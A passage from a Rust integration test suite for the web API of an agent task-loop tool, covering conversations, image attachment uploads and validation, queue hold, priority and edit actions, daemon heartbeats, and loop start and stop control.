5760 let store = f.talks();
5761 let mut recovered = store.get(&id).expect("opened talk");
5762 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5763
5764 let resumed = f
5765 .post(&format!("/api/talks/{id}/pending/resume"), None)
5766 .await;
5767 assert_eq!(resumed.status, 202, "{}", resumed.body);
5768 for _ in 0..SETTLE_STEPS {
5769 if store.get(&id).expect("talk").turns.len() == 2 {
5770 break;
5771 }
5772 tokio::time::sleep(Duration::from_millis(10)).await;
5773 }
5774 let finished = store.get(&id).expect("finished talk");
5775 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5776 assert!(finished.turns[0].body.is_empty());
5777 assert_eq!(finished.turns[0].attachments.len(), 1);
5778 assert!(finished.pending_attachments.is_empty());
5779 }
5780
5781 #[tokio::test]
5782 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5783 let (_tmp, _repo, f) = talk_fixture().await;
5784 let id = f.post("/api/talks", None).await.json()["id"]
5785 .as_str()
5786 .expect("id")
5787 .to_owned();
5788 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5789 assert_eq!(closed.status, 200, "{}", closed.body);
5790 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5791 .expect("serialize closed talk");
5792 for (path, body) in [
5793 (format!("/api/talks/{id}/pending/resume"), None),
5794 (
5795 format!("/api/talks/{id}/pending/clear"),
5796 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5797 ),
5798 (
5799 format!("/api/talks/{id}/pending/edit"),
5800 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5801 ),
5802 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5803 ] {
5804 let response = f.post(&path, body).await;
5805 assert_eq!(response.status, 409, "{}", response.body);
5806 }
5807 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5808 .expect("serialize closed talk");
5809 assert_eq!(
5810 after_clear, before_clear,
5811 "clear must not rewrite a closed talk"
5812 );
5813 }
5814
5815 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5818
5819 #[tokio::test]
5820 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5821 let tmp = TempDir::new().expect("tempdir");
5822 let repo = tmp.path().join("repo");
5823 std::fs::create_dir_all(&repo).expect("repo dir");
5824 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5825 let f = Fixture::with_repo(repo).await;
5826 let id_a = f.post("/api/talks", None).await.json()["id"]
5827 .as_str()
5828 .unwrap()
5829 .to_owned();
5830 let id_b = f.post("/api/talks", None).await.json()["id"]
5831 .as_str()
5832 .unwrap()
5833 .to_owned();
5834
5835 let a = f
5836 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5837 .await;
5838 assert_eq!(a.status, 202, "{}", a.body);
5839 assert_eq!(a.json()["thinking"], true);
5840 let b = f
5841 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5842 .await;
5843 assert_eq!(b.status, 202, "{}", b.body);
5844 assert_eq!(b.json()["thinking"], true);
5845
5846 let listed = f.get("/api/talks").await.json();
5847 for id in [&id_a, &id_b] {
5848 let view = listed
5849 .as_array()
5850 .unwrap()
5851 .iter()
5852 .find(|talk| talk["id"] == *id)
5853 .unwrap();
5854 assert_eq!(view["thinking"], true, "{listed}");
5855 }
5856 let repeated = f
5857 .post(
5858 &format!("/api/talks/{id_a}/say"),
5859 Some(r#"{"text":"again"}"#),
5860 )
5861 .await;
5862 assert_eq!(repeated.status, 202, "{}", repeated.body);
5863 assert_eq!(repeated.json()["pending"], "again");
5864 }
5865
5866 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5869
5870 #[tokio::test]
5871 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5872 let f = Fixture::start().await;
5873 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5874
5875 let res = f
5876 .post_bytes(
5877 &format!("/api/talks/{id}/attachments"),
5878 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5879 PNG_BYTES,
5880 )
5881 .await;
5882 assert_eq!(res.status, 201, "{}", res.body);
5883 let body = res.json();
5884 assert_eq!(body["name"], "shot.png");
5885 assert_eq!(body["mime"], "image/png");
5886 assert_eq!(body["bytes"], PNG_BYTES.len());
5887 let att_id = body["id"].as_str().expect("id").to_owned();
5888 assert_eq!(
5889 att_id.len(),
5890 32,
5891 "the id must never be a client-suppliable path: {att_id}"
5892 );
5893
5894 let got = f
5895 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5896 .await;
5897 assert_eq!(got.status, 200, "{}", got.body);
5898 assert_eq!(got.header("content-type"), Some("image/png"));
5899 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5900 assert_eq!(got.bytes, PNG_BYTES);
5901 }
5902
5903 #[tokio::test]
5904 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5905 let f = Fixture::start().await;
5906 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5907
5908 let svg = f
5911 .post_bytes(
5912 &format!("/api/talks/{id}/attachments"),
5913 &[("Content-Type", "image/svg+xml")],
5914 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5915 )
5916 .await;
5917 assert!(
5918 (400..500).contains(&svg.status),
5919 "svg must be refused: {} {}",
5920 svg.status,
5921 svg.body
5922 );
5923 assert!(svg.body.contains("SVG"), "{}", svg.body);
5924
5925 let text = f
5926 .post_bytes(
5927 &format!("/api/talks/{id}/attachments"),
5928 &[("Content-Type", "text/plain")],
5929 b"just some text",
5930 )
5931 .await;
5932 assert!(
5933 (400..500).contains(&text.status),
5934 "an unlisted type must be refused: {} {}",
5935 text.status,
5936 text.body
5937 );
5938
5939 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5942 let big = f
5943 .post_bytes(
5944 &format!("/api/talks/{id}/attachments"),
5945 &[("Content-Type", "image/png")],
5946 &oversized,
5947 )
5948 .await;
5949 assert_eq!(
5950 big.status,
5951 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5952 "{}",
5953 big.body
5954 );
5955 }
5956
5957 #[tokio::test]
5958 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5959 let f = Fixture::start().await;
5960 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5961
5962 let res = f
5965 .post_bytes(
5966 &format!("/api/talks/{id}/attachments"),
5967 &[("Content-Type", "image/png")],
5968 b"<html>not a picture</html>",
5969 )
5970 .await;
5971 assert!((400..500).contains(&res.status), "{}", res.body);
5972 }
5973
5974 #[tokio::test]
5975 async fn an_unknown_attachment_id_is_a_404() {
5976 let f = Fixture::start().await;
5977 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5978
5979 let res = f
5980 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5981 .await;
5982 assert_eq!(res.status, 404, "{}", res.body);
5983 }
5984
5985 #[tokio::test]
5986 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5987 let f = Fixture::start().await;
5988 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5989
5990 let uploaded = f
5991 .post_bytes(
5992 &format!("/api/talks/{id}/attachments"),
5993 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5994 PNG_BYTES,
5995 )
5996 .await;
5997 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5998 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5999
6000 let res = f
6001 .post(
6002 &format!("/api/talks/{id}/say"),
6003 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6004 )
6005 .await;
6006 assert_eq!(res.status, 202, "{}", res.body);
6007 let queued = res.json();
6008 let turns = queued["turns"].as_array().expect("turns array");
6009 assert_eq!(
6010 turns.len(),
6011 1,
6012 "an empty body with an attachment is still a turn: {queued}"
6013 );
6014 assert_eq!(turns[0]["who"], "operator");
6015 assert_eq!(turns[0]["body"], "");
6016 let atts = turns[0]["attachments"]
6017 .as_array()
6018 .expect("attachments array");
6019 assert_eq!(atts.len(), 1);
6020 assert_eq!(atts[0]["id"], att_id);
6021 assert_eq!(atts[0]["mime"], "image/png");
6022
6023 let on_disk = f.talks().get(&id).expect("get");
6026 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6027 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6028 }
6029
6030 #[tokio::test]
6031 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6032 let f = Fixture::start().await;
6033 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6034
6035 let res = f
6036 .post(
6037 &format!("/api/talks/{id}/say"),
6038 Some(&format!(
6039 r#"{{"text":"hi","attachments":["{}"]}}"#,
6040 "a".repeat(32)
6041 )),
6042 )
6043 .await;
6044 assert!((400..500).contains(&res.status), "{}", res.body);
6045 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6046
6047 let on_disk = f.talks().get(&id).expect("get");
6048 assert!(
6049 on_disk.turns.is_empty(),
6050 "a rejected attachment id must not partially record the turn: {:?}",
6051 on_disk.turns
6052 );
6053 }
6054
6055 #[tokio::test]
6056 async fn talk_close_makes_the_talk_refuse_further_turns() {
6057 let f = Fixture::start().await;
6058 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6059
6060 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6061 assert_eq!(closed.status, 200, "{}", closed.body);
6062 assert_eq!(closed.json()["status"], "closed");
6063
6064 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6066 assert_eq!(closed_again.status, 200);
6067 assert_eq!(closed_again.json()["status"], "closed");
6068
6069 let said = f
6070 .post(
6071 &format!("/api/talks/{id}/say"),
6072 Some(r#"{"text":"too late"}"#),
6073 )
6074 .await;
6075 assert_eq!(said.status, 409, "{}", said.body);
6076 }
6077
6078 #[tokio::test]
6079 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6080 let (_tmp, _repo, f) = talk_fixture().await;
6081 let id = f.post("/api/talks", None).await.json()["id"]
6082 .as_str()
6083 .expect("id")
6084 .to_owned();
6085 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6086 assert_eq!(closed.status, 200, "{}", closed.body);
6087
6088 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6089 assert_eq!(reopened.status, 200, "{}", reopened.body);
6090 assert_eq!(reopened.json()["status"], "open");
6091
6092 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6094 assert_eq!(reopened_again.status, 200);
6095 assert_eq!(reopened_again.json()["status"], "open");
6096
6097 let said = f
6098 .post(
6099 &format!("/api/talks/{id}/say"),
6100 Some(r#"{"text":"still there?"}"#),
6101 )
6102 .await;
6103 assert_eq!(
6104 said.status, 202,
6105 "a reopened talk accepts turns again: {}",
6106 said.body
6107 );
6108 }
6109
6110 #[tokio::test]
6111 async fn talk_reopen_on_an_unknown_id_is_404() {
6112 let f = Fixture::start().await;
6113 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6114 assert_eq!(res.status, 404, "{}", res.body);
6115 }
6116
6117 #[tokio::test]
6118 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6119 let f = Fixture::start().await;
6120 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6121
6122 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6123 assert_eq!(deleted.status, 204, "{}", deleted.body);
6124
6125 let after = f.get(&format!("/api/talks/{id}")).await;
6126 assert_eq!(after.status, 404, "{}", after.body);
6127
6128 let listed = f.get("/api/talks").await.json();
6129 assert!(
6130 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6131 "a deleted talk must not linger in the list: {listed}"
6132 );
6133 }
6134
6135 #[tokio::test]
6136 async fn talk_delete_on_an_unknown_id_is_404() {
6137 let f = Fixture::start().await;
6138 let res = f.delete("/api/talks/nonexistent-id").await;
6139 assert_eq!(res.status, 404, "{}", res.body);
6140 }
6141
6142 #[tokio::test]
6143 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6144 let f = Fixture::start().await;
6145 let queue = f.queue();
6146 let mut task = Task::new(
6147 "spent".to_owned(),
6148 "Try again".to_owned(),
6149 PathBuf::from("/repo/magi"),
6150 Source::Human,
6151 );
6152 task.start("20260902-140502-bbbb".to_owned());
6153 task.fail("agent gave up", 9);
6154 queue.put(&mut task).expect("file the task");
6155
6156 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6157 assert_eq!(held.status, 200);
6158 assert_eq!(held.json()["status_str"], "held");
6159
6160 let released = f
6161 .post(&format!("/api/queue/{}/release", task.id), None)
6162 .await;
6163 assert_eq!(released.status, 200);
6164 assert_eq!(released.json()["status_str"], "queued");
6165 assert_eq!(
6166 released.json()["attempts"],
6167 0,
6168 "release is a real second chance, not an instant re-hold"
6169 );
6170 assert_eq!(
6171 queue.get(&task.id).expect("reload").status,
6172 TaskStatus::Queued,
6173 "the change is on disk, not only in the reply"
6174 );
6175 assert!(
6176 !f.home
6177 .path()
6178 .join("queue")
6179 .join(format!("{}.lock", task.id))
6180 .exists(),
6181 "the claim the mutation took is released again"
6182 );
6183 }
6184
6185 #[tokio::test]
6186 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6187 let f = Fixture::start().await;
6188 let queue = f.queue();
6189 let mut task = Task::new(
6190 "busy".to_owned(),
6191 "Running right now".to_owned(),
6192 PathBuf::from("/repo/magi"),
6193 Source::Human,
6194 );
6195 queue.put(&mut task).expect("file the task");
6196 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6197
6198 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6199
6200 assert_eq!(res.status, 409);
6201 assert_eq!(
6202 queue.get(&task.id).expect("reload").status,
6203 TaskStatus::Queued,
6204 "the refused hold changed nothing"
6205 );
6206 }
6207
6208 #[tokio::test]
6209 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6210 let f = Fixture::start().await;
6211 let queue = f.queue();
6212 let mut task = Task::new(
6213 "waiting on the migration".to_owned(),
6214 "Do the thing".to_owned(),
6215 PathBuf::from("/repo/magi"),
6216 Source::Human,
6217 );
6218 queue.put(&mut task).expect("file the task");
6219
6220 let held = f
6221 .post(
6222 &format!("/api/queue/{}/hold", task.id),
6223 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6224 )
6225 .await;
6226 assert_eq!(held.status, 200, "{}", held.body);
6227 assert_eq!(held.json()["status_str"], "held");
6228 assert_eq!(
6229 held.json()["hold_reason"],
6230 "waiting for 20260101-000000-aaaa to land"
6231 );
6232
6233 let listed = f.get("/api/queue").await.json();
6234 assert_eq!(
6235 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6236 "the card reads the reason off the same list route"
6237 );
6238
6239 let mut plain = Task::new(
6242 "no reason given".to_owned(),
6243 "Do another thing".to_owned(),
6244 PathBuf::from("/repo/magi"),
6245 Source::Human,
6246 );
6247 queue.put(&mut plain).expect("file the task");
6248 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6249 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6250 assert!(held_plain.json()["hold_reason"].is_null());
6251
6252 let released = f
6253 .post(&format!("/api/queue/{}/release", task.id), None)
6254 .await;
6255 assert_eq!(released.status, 200);
6256 assert!(
6257 released.json()["hold_reason"].is_null(),
6258 "a release must clear the reason so the next hold does not inherit it"
6259 );
6260 }
6261
6262 #[tokio::test]
6263 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6264 let f = Fixture::start().await;
6265 let queue = f.queue();
6266 let mut older = Task::new(
6267 "filed first".to_owned(),
6268 "x".to_owned(),
6269 PathBuf::from("/repo/magi"),
6270 Source::Human,
6271 );
6272 older.id = "20260101-000001-aaaa".to_owned();
6273 let mut newer = Task::new(
6274 "filed second".to_owned(),
6275 "x".to_owned(),
6276 PathBuf::from("/repo/magi"),
6277 Source::Human,
6278 );
6279 newer.id = "20260101-000002-bbbb".to_owned();
6280 queue.put(&mut older).expect("file older");
6281 queue.put(&mut newer).expect("file newer");
6282
6283 let before = f.get("/api/queue").await.json();
6286 assert_eq!(before[0]["id"], newer.id);
6287 assert_eq!(before[1]["id"], older.id);
6288
6289 let raised = f
6293 .post(
6294 &format!("/api/queue/{}/priority", older.id),
6295 Some(r#"{"priority":10}"#),
6296 )
6297 .await;
6298 assert_eq!(raised.status, 200, "{}", raised.body);
6299 assert_eq!(raised.json()["priority"], 10);
6300
6301 let after = f.get("/api/queue").await.json();
6302 let names: Vec<&str> = after
6303 .as_array()
6304 .unwrap()
6305 .iter()
6306 .map(|t| t["id"].as_str().unwrap())
6307 .collect();
6308 assert_eq!(names[0], older.id, "the raised task now sorts first");
6312 }
6313
6314 #[tokio::test]
6315 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6316 let f = Fixture::start().await;
6317 let queue = f.queue();
6318 let mut task = Task::new(
6319 "in flight".to_owned(),
6320 "x".to_owned(),
6321 PathBuf::from("/repo/magi"),
6322 Source::Human,
6323 );
6324 task.start("20260902-140502-bbbb".to_owned());
6325 queue.put(&mut task).expect("file the task");
6326
6327 let res = f
6328 .post(
6329 &format!("/api/queue/{}/priority", task.id),
6330 Some(r#"{"priority":9}"#),
6331 )
6332 .await;
6333 assert_eq!(res.status, 400, "{}", res.body);
6334 assert!(
6335 res.json()["error"]
6336 .as_str()
6337 .is_some_and(|e| e.contains("running")),
6338 "{}",
6339 res.body
6340 );
6341 assert_eq!(
6342 queue.get(&task.id).expect("reload").priority,
6343 0,
6344 "the refused write must not partially apply"
6345 );
6346 }
6347
6348 #[tokio::test]
6349 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6350 let f = Fixture::start().await;
6351 let queue = f.queue();
6352 let mut task = Task::new(
6353 "old title".to_owned(),
6354 "old instruction".to_owned(),
6355 PathBuf::from("/repo/magi"),
6356 Source::Agent {
6357 run: "20260101-000000-beef".to_owned(),
6358 node: "implement".to_owned(),
6359 },
6360 );
6361 task.runs.push("20260101-000000-beef".to_owned());
6362 queue.put(&mut task).expect("file the task");
6363 let created_at = task.created_at;
6364
6365 let edited = f
6366 .post(
6367 &format!("/api/queue/{}/edit", task.id),
6368 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6369 )
6370 .await;
6371 assert_eq!(edited.status, 200, "{}", edited.body);
6372 let body = edited.json();
6373 assert_eq!(body["title"], "new title");
6374 assert_eq!(body["instruction"], "new instruction");
6375 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6376 assert_eq!(body["created_at"], created_at.to_string());
6377 assert_eq!(
6378 body["source"]["kind"], "agent",
6379 "editing a task an agent filed must not turn it human: {body}"
6380 );
6381 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6382
6383 let reloaded = queue.get(&task.id).expect("reload");
6384 assert_eq!(reloaded.title, "new title");
6385 assert_eq!(reloaded.instruction, "new instruction");
6386 }
6387
6388 #[tokio::test]
6389 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6390 let f = Fixture::start().await;
6391 let queue = f.queue();
6392 let mut task = Task::new(
6393 "in flight".to_owned(),
6394 "do not touch".to_owned(),
6395 PathBuf::from("/repo/magi"),
6396 Source::Human,
6397 );
6398 task.start("20260902-140502-bbbb".to_owned());
6399 queue.put(&mut task).expect("file the task");
6400
6401 let res = f
6402 .post(
6403 &format!("/api/queue/{}/edit", task.id),
6404 Some(r#"{"title":"x","instruction":"y"}"#),
6405 )
6406 .await;
6407 assert_eq!(res.status, 400, "{}", res.body);
6408 assert!(
6409 res.json()["error"]
6410 .as_str()
6411 .is_some_and(|e| e.contains("running")),
6412 "{}",
6413 res.body
6414 );
6415 assert_eq!(
6416 queue.get(&task.id).expect("reload").instruction,
6417 "do not touch",
6418 "the refused edit must not change the file"
6419 );
6420 }
6421
6422 #[tokio::test]
6423 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6424 let f = Fixture::start().await;
6425 let queue = f.queue();
6426 let mut task = Task::new(
6427 "busy".to_owned(),
6428 "Running right now".to_owned(),
6429 PathBuf::from("/repo/magi"),
6430 Source::Human,
6431 );
6432 queue.put(&mut task).expect("file the task");
6433 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6434
6435 let priority = f
6436 .post(
6437 &format!("/api/queue/{}/priority", task.id),
6438 Some(r#"{"priority":9}"#),
6439 )
6440 .await;
6441 assert_eq!(priority.status, 409, "{}", priority.body);
6442
6443 let edit = f
6444 .post(
6445 &format!("/api/queue/{}/edit", task.id),
6446 Some(r#"{"title":"x","instruction":"y"}"#),
6447 )
6448 .await;
6449 assert_eq!(edit.status, 409, "{}", edit.body);
6450 }
6451
6452 #[tokio::test]
6453 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6454 let f = Fixture::start().await;
6455 let queue = f.queue();
6456 let mut task = Task::new(
6457 "shipped by hand".to_owned(),
6458 "merged outside the loop".to_owned(),
6459 PathBuf::from("/repo/magi"),
6460 Source::Agent {
6461 run: "20260101-000000-b455".to_owned(),
6462 node: "implement".to_owned(),
6463 },
6464 );
6465 task.runs.push("20260101-000000-b455".to_owned());
6466 task.runs.push("20260101-000000-9af4".to_owned());
6467 queue.put(&mut task).expect("file the task");
6468 let created_at = task.created_at;
6469
6470 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6471 assert_eq!(done.status, 200, "{}", done.body);
6472 assert_eq!(done.json()["status_str"], "done");
6473
6474 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6475 assert_eq!(
6476 reloaded.runs,
6477 ["20260101-000000-b455", "20260101-000000-9af4"]
6478 );
6479 assert_eq!(
6480 reloaded.source,
6481 Source::Agent {
6482 run: "20260101-000000-b455".to_owned(),
6483 node: "implement".to_owned(),
6484 }
6485 );
6486 assert_eq!(reloaded.created_at, created_at);
6487 }
6488
6489 #[tokio::test]
6490 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6491 let f = Fixture::start().await;
6496 let queue = f.queue();
6497 let mut task = Task::new(
6498 "landed while held".to_owned(),
6499 "x".to_owned(),
6500 PathBuf::from("/repo/magi"),
6501 Source::Human,
6502 );
6503 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6504 queue.put(&mut task).expect("file the held task");
6505
6506 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6507 assert_eq!(done.status, 200, "{}", done.body);
6508 assert_eq!(done.json()["status_str"], "done");
6509 assert!(
6510 done.json()["hold_reason"].is_null(),
6511 "a done task cannot still be waiting on something: {}",
6512 done.body
6513 );
6514 }
6515
6516 #[tokio::test]
6517 async fn unknown_ids_are_json_not_found_on_both_stores() {
6518 let f = Fixture::start().await;
6519
6520 let run = f.get("/api/runs/nosuchrun").await;
6521 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6522
6523 assert_eq!(run.status, 404);
6524 assert_eq!(task.status, 404);
6525 assert!(
6526 run.json()["error"]
6527 .as_str()
6528 .is_some_and(|e| e.contains("run")),
6529 "the error names what was not found: {}",
6530 run.body
6531 );
6532 assert!(
6533 task.json()["error"]
6534 .as_str()
6535 .is_some_and(|e| e.contains("task")),
6536 "the error names what was not found: {}",
6537 task.body
6538 );
6539 }
6540
6541 #[tokio::test]
6542 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6543 let f = Fixture::start().await;
6544
6545 let missing = f.get("/api/health").await.json();
6546 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6547
6548 write_daemon(
6549 f.home.path(),
6550 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6551 );
6552 let stale = f.get("/api/health").await.json();
6553 assert_eq!(
6554 stale["daemon"]["running"], false,
6555 "a minute without a heartbeat is a dead daemon, not a busy one"
6556 );
6557 assert!(
6558 stale["daemon"]["stale_for_secs"]
6559 .as_i64()
6560 .is_some_and(|s| s >= 55),
6561 "staleness is reported so the UI can say how long: {stale}"
6562 );
6563
6564 write_daemon(f.home.path(), Timestamp::now());
6565 let fresh = f.get("/api/health").await.json();
6566 assert_eq!(fresh["daemon"]["running"], true);
6567 assert_eq!(fresh["daemon"]["idle"], false);
6568 assert_eq!(fresh["daemon"]["pid"], 4242);
6569 assert_eq!(fresh["daemon"]["completed"], 7);
6570 assert_eq!(
6571 fresh["daemon"]["current"][0]["task"],
6572 "20260902-140501-aaaa"
6573 );
6574 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6575 }
6576
6577 #[tokio::test]
6578 async fn the_loop_is_not_running_until_something_starts_it() {
6579 let f = Fixture::start().await;
6580
6581 let view = f.get("/api/loop").await.json();
6582 assert_eq!(view["running"], false);
6583 assert_eq!(
6584 view["owned"], false,
6585 "nobody owns a loop that does not exist: {view}"
6586 );
6587 assert_eq!(view["stopping"], false);
6588 assert_eq!(view["last_error"], Value::Null);
6589 assert_eq!(view["daemon"]["running"], false);
6590 assert_eq!(
6591 view["repo"], "/repo/magi",
6592 "the repository a start would use, named before it is started"
6593 );
6594 }
6595
6596 #[tokio::test]
6597 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6598 let f = Fixture::start().await;
6599
6600 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6601 assert_eq!(res.status, 200, "{}", res.body);
6602 let view = res.json();
6603 assert_eq!(view["running"], true);
6604 assert_eq!(
6605 view["owned"], true,
6606 "the loop the UI started is the UI's own to stop: {view}"
6607 );
6608 assert_eq!(
6609 view["merge"],
6610 Value::Null,
6611 "no override was given, so each repository's own config decides"
6612 );
6613
6614 let health = f.get("/api/health").await.json();
6618 assert_eq!(health["loop"]["running"], true, "{health}");
6619 assert_eq!(health["loop"]["owned"], true, "{health}");
6620
6621 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6622 }
6623
6624 #[tokio::test]
6625 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6626 let f = Fixture::start().await;
6627 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6628 assert_eq!(first.status, 200, "{}", first.body);
6629
6630 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6631 assert_eq!(
6632 again.status, 409,
6633 "two loops on one queue race for the same claims: {}",
6634 again.body
6635 );
6636 assert!(
6637 again.json()["error"]
6638 .as_str()
6639 .is_some_and(|e| e.contains("already running the loop")),
6640 "the refusal has to say why: {}",
6641 again.body
6642 );
6643 assert_eq!(
6644 f.get("/api/loop").await.json()["running"],
6645 true,
6646 "and the loop that was already running is untouched by it"
6647 );
6648
6649 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6650 }
6651
6652 #[tokio::test]
6653 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6654 let f = Fixture::start().await;
6655 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6656
6657 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6658 assert_eq!(
6659 res.status, 200,
6660 "the answer must not wait for the loop: a run in flight is tens of \
6661 minutes and the operator is holding a phone: {}",
6662 res.body
6663 );
6664
6665 let view = settled(&f, |v| v["running"] == false).await;
6666 assert_eq!(view["owned"], false);
6667 assert_eq!(
6668 view["stopping"], false,
6669 "a loop that has stopped is not still stopping: {view}"
6670 );
6671 assert_eq!(
6672 view["last_error"],
6673 Value::Null,
6674 "a loop that was asked to stop did not fail: {view}"
6675 );
6676
6677 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6680 assert_eq!(twice.status, 200, "{}", twice.body);
6681 }
6682
6683 #[tokio::test]
6684 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6685 let f = Fixture::start().await;
6686 write_daemon(f.home.path(), Timestamp::now());
6689
6690 let view = f.get("/api/loop").await.json();
6691 assert_eq!(view["running"], false, "not in this process: {view}");
6692 assert_eq!(view["owned"], false, "and not this process's to control");
6693 assert_eq!(
6694 view["daemon"]["running"], true,
6695 "but a loop is alive somewhere, which is what the UI must say"
6696 );
6697 assert_eq!(view["daemon"]["pid"], 4242);
6698
6699 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6700 let res = f.post("/api/loop", Some(body)).await;
6701 assert_eq!(
6702 res.status, 409,
6703 "neither button may pretend to work on someone else's loop: {}",
6704 res.body
6705 );
6706 assert!(
6707 res.json()["error"]
6708 .as_str()
6709 .is_some_and(|e| e.contains("4242")),
6710 "the refusal has to name the process the operator must go to: {}",
6711 res.body
6712 );
6713 }
6714 assert_eq!(
6715 f.get("/api/loop").await.json()["running"],
6716 false,
6717 "and the refusal started nothing"
6718 );
6719 }
6720
6721 #[tokio::test]
6722 async fn a_stale_status_file_is_not_a_foreign_owner() {
6723 let f = Fixture::start().await;
6724 write_daemon(
6725 f.home.path(),
6726 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6727 );
6728
6729 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6730 assert_eq!(
6731 res.status, 200,
6732 "a daemon killed a minute ago must not lock the loop out of its \
6733 own home for good: {}",
6734 res.body
6735 );
6736 assert_eq!(res.json()["running"], true);
6737
6738 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6739 }
6740
6741 #[tokio::test]
6742 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6743 let f = Fixture::start().await;
